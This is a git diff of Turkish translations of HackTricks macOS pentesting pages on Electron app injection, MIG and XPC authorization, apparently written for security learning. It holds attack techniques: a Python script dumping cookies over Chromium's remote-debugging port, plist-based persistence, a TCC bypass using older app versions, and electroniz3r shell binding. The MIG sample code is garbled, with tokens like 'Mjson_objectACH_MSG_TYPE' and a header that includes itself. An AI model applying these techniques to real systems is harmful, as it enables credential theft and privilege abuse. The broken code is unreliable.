Yürütme (RCE) -[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktası açılacak** ve buna bağlanabileceksiniz (örneğin Chrome'da `chrome://inspect` üzerinden) ve hatta yeni işlemler başlatabileceksiniz.\ +[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktası açılacaktır** böylece ona bağlanabilirsiniz (örneğin Chrome'dan `chrome://inspect` üzerinden) ve üzerine **kod enjekte edebilirsiniz** veya yeni işlemler başlatabilirsiniz.\ Örneğin: {% code overflow="wrap" %} @@ -180,10 +183,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/ {% endcode %} {% hint style="danger" %} -Eğer **`EnableNodeCliInspectArguments`** adlı fuse devre dışı bırakılmışsa, uygulama başlatıldığında **`--inspect`** gibi node parametrelerini **yok sayar**, ancak **`ELECTRON_RUN_AS_NODE`** adlı çevresel değişken ayarlanmışsa, bu da **yok sayılır**. Bu durumda **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz, ancak önceki payload diğer işlemleri yürütmek için çalışmayacaktır. +Eğer **`EnableNodeCliInspectArguments`** kilidi devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **yoksayar** (env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadığı sürece), bu da **yoksayılacak** eğer **`RunAsNode`** kilidi devre dışı bırakılmışsa. + +Ancak, hala **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır. {% endhint %} -Parametre **`--remote-debugging-port=9222`** kullanarak, Electron Uygulamasından **geçmiş** (GET komutlarıyla) veya tarayıcının **çerezlerini** (tarayıcı içinde **şifrelenmiş** oldukları ve onları verecek bir **json uç noktası** olduğu için) çalmak mümkündür. +Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının içinde **şifrelenmiş** olan **çerezler** (çünkü tarayıcı içinde **şifrelenmiş** ve onları verecek bir **json uç noktası** bulunmaktadır). Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz: ```python @@ -193,11 +198,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') print(ws.recv() ``` -[**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için** kötüye kullanılmıştır. +[**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için kötüye kullanılmıştır**. ### Uygulama Plist'ten Enjeksiyon -Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığı sağlamak için şu anahtarları ekleyebilirsiniz: +Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürmek için şu anahtarları ekleyebilirsiniz: ```xml ProgramArguments @@ -214,19 +219,19 @@ Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığ ## Eski Sürümleri Kullanarak TCC Atlatma {% hint style="success" %} -macOS'un TCC daemon'ı, uygulamanın çalıştırılan sürümünü kontrol etmez. Bu nedenle, önceki tekniklerle bir Electron uygulamasına kod enjekte edemiyorsanız, bir önceki sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemezse). +macOS'taki TCC daemonı uygulamanın çalıştırılan sürümünü kontrol etmez. Dolayısıyla, **Electron uygulamasına kod enjekte edemezseniz** önceki tekniklerden herhangi biriyle eski bir UYGULAMA sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse). {% endhint %} -## JS Kodu Dışında Kod Çalıştırma +## JS Olmayan Kod Çalıştırma -Önceki teknikler, **electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler, ebeveyn uygulama ile aynı kum havuzu profilinde** çalışır ve **TCC izinlerini miras alır**.\ -Bu nedenle, örneğin kamera veya mikrofona erişmek için yetkilendirmeleri kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili çalıştırabilirsiniz**. +Önceki teknikler size **Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler aynı kum havuzu profili altında çalışır** ve **TCC izinlerini miras alırlar**.\ +Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz**. ## Otomatik Enjeksiyon -[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, kurulu olan zayıf noktalı electron uygulamalarını bulmak ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır: +[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, yüklü olan **savunmasız electron uygulamalarını bulmak** ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç **`--inspect`** tekniğini kullanmaya çalışacaktır: -Kendiniz derlemeniz gerekmektedir ve aşağıdaki gibi kullanabilirsiniz: +Kendiniz derlemeniz ve şu şekilde kullanmanız gerekmektedir: ```bash # Find electron apps ./electroniz3r list-apps @@ -270,14 +275,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
-AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! +Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family) +* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 61567e0f4..8a67fc81d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -2,19 +2,19 @@
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan kahramana dönüştürmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-MIG, **Mach IPC işlemi oluşturma sürecini basitleştirmek** için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır. +MIG, **Mach IPC işlemi** kod oluşturma sürecini basitleştirmek için oluşturulmuştur. Temelde, sunucu ve istemcinin iletişim kurması için gerekli kodu **belirli bir tanım ile oluşturur**. Oluşturulan kod ne kadar kötü görünürse görünsün, bir geliştirici sadece bunu içe aktarması yeterli olacak ve kodu öncekinden çok daha basit olacaktır. ### Örnek @@ -37,13 +37,13 @@ n2 : uint32_t); ``` {% endcode %} -Şimdi mig'i kullanarak, birbirleriyle iletişim kurabilecek şekilde sunucu ve istemci kodunu oluşturun ve Çıkarma işlevini çağırmak için birbirleriyle iletişim kurun: +Şimdi mig'i kullanarak birbirleriyle iletişim kurabilecek sunucu ve istemci kodunu oluşturmak için Subtract işlevini çağırmak için: ```bash mig -header myipcUser.h -sheader myipcServer.h myipc.defs ``` Çeşitli yeni dosyalar mevcut dizinde oluşturulacaktır. -**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temelde alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik): +**`myipcServer.c`** ve **`myipcServer.h`** dosyalarında **`SERVERPREFmyipc_subsystem`** yapısının bildirimi ve tanımını bulabilirsiniz, bu yapı temel olarak alınan mesaj kimliğine göre çağrılacak işlevi tanımlar (başlangıç numarasını 500 olarak belirttik): {% tabs %} {% tab title="myipcServer.c" %} @@ -64,27 +64,17 @@ myipc_server_routine, ``` {% endtab %} -{% tab title="myipcServer.h" %} - -### macOS MIG (Mach Interface Generator) - -MIG is a tool used to define inter-process communication (IPC) for macOS. It generates client and server-side code for IPC. MIG interfaces are defined in .defs files and are used to define the messages that can be sent between processes. - -#### Example .defs file: +{% tab title="myipcServer.h" %}Dosya: myipcServer.h ```c -routine my_ipc_message { - mach_msg_header_t Head; - int data; -} -> { - mach_msg_header_t Head; - int result; -}; -``` +#include +#include +#include "myipcServer.h" -In this example, `my_ipc_message` is a routine that sends an integer `data` from the client to the server and receives an integer `result` in response. +kern_return_t myipc_server(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP); +``` -MIG simplifies the process of defining IPC interfaces and handling messages between processes in macOS. +{% endtab %} ```c /* Description of this subsystem, for use in direct RPC */ extern const struct SERVERPREFmyipc_subsystem { @@ -205,48 +195,16 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy #include "myipc.h" int main() { - mach_port_t bootstrap_port; - kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); + mach_port_t server_port; + kern_return_t kr; + + kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port); if (kr != KERN_SUCCESS) { - printf("Failed to get bootstrap port\n"); + printf("Failed to look up server port: %s\n", mach_error_string(kr)); return 1; } - myipc_t myipc = MYIPC_NULL; - kr = bootstrap_look_up(bootstrap_port, MYIPC_SERVICE_NAME, &myipc); - if (kr != KERN_SUCCESS) { - printf("Failed to look up service %s\n", MYIPC_SERVICE_NAME); - return json_object(); - } - - myipc_msg_t msg = { - .hdr = { - .msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, Mjson_objectACH_MSG_TYPE_MAKE_SEND_ONCE), - .msgh_size = sizeof(myipc_msg_t), - .msgh_remote_port = myipc, - .msgh_local_port = MACH_PORT_NULL, - .msgh_id = 0x41414141 - }, - .body = { - .msgh_descriptor_count = 1, - .msgh_descriptors = { - { - .name = MACH_MSG_PORT_DESCRIPTOR, - .disposition = MACH_MSG_TYPE_COPY_SEND, - .type = MACH_MSG_PORT_DESCRIPTOR, - .pad1 = 0, - .pad2 = 0, - .port = MACH_PORT_NULL - } - } - } - }; - - kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hmsg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - if (kr != KERN_SUCCESS) { - printf("Failed to send message\n"); - return 1; - } + myipc_client(server_port); return 0; } @@ -279,20 +237,20 @@ USERPREFSubtract(port, 40, 2); ``` ### Binary Analizi -Birçok ikili dosya artık mach bağlantı noktalarını açığa çıkarmak için MIG'yi kullandığından, MIG'nin kullanıldığını **tanımanın** ve her mesaj kimliği ile MIG'nin yürüttüğü **işlevleri** bilmek ilginçtir. +Birçok ikili dosya artık mach bağlantı noktalarını açığa çıkarmak için MIG kullanıyor, bu nedenle **MIG'nin kullanıldığını belirlemenin** ve her mesaj kimliği ile **MIG'nin yürüttüğü işlevleri** bilmek ilginç olabilir. -[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi tanımlayabilir: +[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2), bir Mach-O ikili dosyasından MIG bilgilerini ayrıştırabilir ve mesaj kimliğini göstererek yürütülecek işlevi belirleyebilir: ```bash jtool2 -d __DATA.__const myipc_server | grep MIG ``` -Önceki bölümde, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır): +Daha önce, **alınan mesaj kimliğine bağlı olarak doğru işlevi çağıracak olan fonksiyonun** `myipc_server` olduğu belirtilmişti. Ancak genellikle ikili dosyanın sembolleri olmayacaktır (işlev adları yok), bu yüzden **nasıl decompile edildiğine bakmak ilginç olacaktır** çünkü her zaman çok benzer olacaktır (bu işlevin kodu, sunulan işlevlerden bağımsızdır): {% tabs %} {% tab title="myipc_server decompiled 1" %}
int _myipc_server(int arg0, int arg1) {
 var_10 = arg0;
 var_18 = arg1;
-// Doğru işlev işaretçilerini bulmak için ilk talimatlar
+// Uygun işlev işaretçilerini bulmak için ilk talimatlar
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
@@ -301,13 +259,13 @@ var_18 = arg1;
 *(int32_t *)(var_18 + 0x10) = 0x0;
 if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
 rax = *(int32_t *)(var_10 + 0x14);
-// Bu işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
+// Çağrılacak işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
 // Bu, çağrılması gereken işlevin işaretçisini rax'a depolar
-// Kullanılan adres 0x100004040'ı kontrol edin (işlev adresleri dizisi)
+// Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi)
 // 0x1f4 = 500 (başlangıç ​​ID'si)
             rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
             var_20 = rax;
-// If - else, if döndürmezken else doğru işlevi çağırır ve true döndürür
+// If - else, if yanıtı yanlış döndürürken else doğru işlevi çağırır ve doğru döndürür
             if (rax == 0x0) {
                     *(var_18 + 0x18) = **_NDR_record;
 *(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -331,7 +289,7 @@ return rax;
 {% endtab %}
 
 {% tab title="myipc_server decompiled 2" %}
-Bu, farklı bir Hopper ücretsiz sürümünde decompile edilmiş aynı işlevdir:
+Bu, farklı bir Hopper free sürümünde decompile edilmiş aynı işlevdir:
 
 
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -339,7 +297,7 @@ saved_fp = r29;
 stack[-8] = r30;
 var_10 = arg0;
 var_18 = arg1;
-// Doğru işlev işaretçilerini bulmak için ilk talimatlar
+// Uygun işlev işaretçilerini bulmak için ilk talimatlar
 *(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
 *(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
 *(int32_t *)(var_18 + 0x4) = 0x24;
@@ -375,7 +333,7 @@ r8 = 0x1;
 }
 }
 // Önceki sürümdeki gibi aynı if else
-// Kullanılan adres 0x100004040 (işlev adresleri dizisi) kontrol edilir
+// Kullanılan adres 0x100004040 (işlevlerin adresleri dizisi) kontrol edilir
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
                             *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
@@ -406,24 +364,22 @@ return r0;
 {% endtab %}
 {% endtabs %}
 
-Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt** alacağıdır, bu nedenle her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
-
-
+Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt aldığını** göz önünde bulundurarak, her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
+
+ Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
-Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile! +Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin! HackTricks'i desteklemenin diğer yolları: -* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun**. - -
+* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index 413636b8a..4c2ed950f 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -2,23 +2,23 @@
-AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## XPC Yetkilendirme -Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamanın** başka bir yolunu da önerir. +Apple, bağlanan işlemin **bir XPC yöntemini çağırmaya izin** **olup olmadığını doğrulamanın** başka bir yolunu da önerir. -Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir. +Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için çağrılabilecek bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir. ### ShouldAcceptNewConnection her zaman YES @@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess); }]; } ``` -`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevdir: +`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevidir: ```objectivec static NSString * kCommandKeyAuthRightName = @"authRightName"; static NSString * kCommandKeyAuthRightDefault = @"authRightDefault"; @@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc); ``` Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**. -Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle: +Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle: -
AdDeğerAçıklama
kAuthorizationRuleClassAllowallowHerkes
kAuthorizationRuleClassDenydenyHiç kimse
kAuthorizationRuleIsAdminis-adminMevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerKullanıcıdan kimlik doğrulaması iste
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminKullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRightRuleruleKuralları belirt
kAuthorizationCommentcommentHaklar hakkında ekstra yorumlar belirt
+
AdDeğerAçıklama
kAuthorizationRuleClassAllowallowHerkes
kAuthorizationRuleClassDenydenyHiç kimse
kAuthorizationRuleIsAdminis-adminMevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-ownerKullanıcıdan kimlik doğrulaması iste
kAuthorizationRuleAuthenticateAsAdminauthenticate-adminKullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRightRuleruleKuralları belirt
kAuthorizationCommentcommentHakka ek açıklamalar belirt
-### Haklar Doğrulaması +### Hak Doğrulama -`HelperTool/HelperTool.m` içindeki **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**: +`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**: ```objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command { @@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess); return error; 